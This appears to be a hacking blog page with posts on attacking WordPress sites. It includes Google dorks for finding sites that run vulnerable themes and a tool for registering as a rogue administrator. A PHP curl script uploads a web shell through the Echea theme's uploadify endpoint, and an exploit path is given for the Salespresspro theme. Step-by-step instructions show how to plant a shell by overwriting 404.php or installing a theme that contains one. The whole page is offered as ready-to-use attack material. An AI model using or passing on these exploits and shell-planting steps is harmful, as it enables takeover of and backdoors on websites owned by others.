Backtrack Team: Wordpress Theme

Affichage des articles dont le libellé est Wordpress Theme. Afficher tous les articles

Wordpress 0day Exploiter [Original]

Wordpress 0day Exploiter
Wordpress 0day Exploiter is a tool that enable you to register as new admin on a wordpress site which have the bug on the Ajax.php file.

How to create dorks?
It's very easy so create the dorks, the list of vulnerable themes are already provided on the right richtext box. So, you just need to add the theme name.

Dork:

inurl:/wp-content/themes/[theme_name]

Example:

inurl:/wp-content/themes/appius

How to use the tools?
It's easy, once you have found your target,

1- Simply paste the site URL,theme name, an your email in the textbox

2- Click on Confirm > Exploit

3- If your target is vulnerable, the "Register" button will be enabled

4- Click on Register and the webbrowser will bring you to the registration page

5- Enter your username and email

6- Check your email inbox for the confirmation and the password for your account.

7- Login to the site and there you go :)

8- You also can upload shell into the site. [How to upload shell in Wordpress site]

Download / Mirror

by Malik korrich ~ lundi 29 septembre 2014 0 commentaires

Exploit Wordpress: Echea Theme - File Upload Vulnerability

Dork: inurl:/wp-content/themes/echea/

Shell Uploaded to:
http://www.site.com/wp-content/themes/echea/js/cufon-fonts/uploaded/custom_shell.php.jpg

Exploit:

$uploadfile="shell.php.jpg";
$ch = curl_init("http://127.0.0.1/wp-content/themes/echea/js/uploadify/uploadify.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('Filedata'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";
?>

This exploit is the same as my previous post, so check it! :P

by Malik korrich ~ jeudi 15 mai 2014 0 commentaires

Exploit Wordpress: Salespresspro Theme - File Upload Vulnerability

POC:
Dork: inurl:/themes/salespresspro
inurl:/wp-content/themes/salespresspro/

Exploit: /wp-content/themes/salespresspro/headerimgbgblog-upload.php

This exploit is the same as the previous exploit that i posted, please check them if you can't understand.

by Malik korrich ~ 0 commentaires

How To Upload Shell In Wordpress Site

In this post, i will show you TWO ways to upload shell in WordPress Site.

1)Editing the WordPress theme

In this method, not all wordpress site can be edited the theme, because certain site admin has change the permission of changing theme. In that case, the theme cannot be change.

Procedure

1- After you have logged into the site, you will see the admin Dashboard

2- On the left site, move your mouse to Appearance and click on Editor

3- When you click on Editor, you will see something like this

4- Select the theme Twenty Ten and select 404.php

5- Remove all the codes, and paste your shell script there

6- Update it and your shell will be executed.

7- Your shell will be at /wp-content/themes/THEMENAME/404.php

Example:

http://www.example.com/wp-content/themes/twentyten/404.php

2)Uploading New theme

If changing the theme doesn't work, you can try uploading your shell by uploading new theme.

Procedure

1- Firstly, download the modified Worpress theme with shell in it.

Download Here

2- Alright, now go to Themes and click Install Theme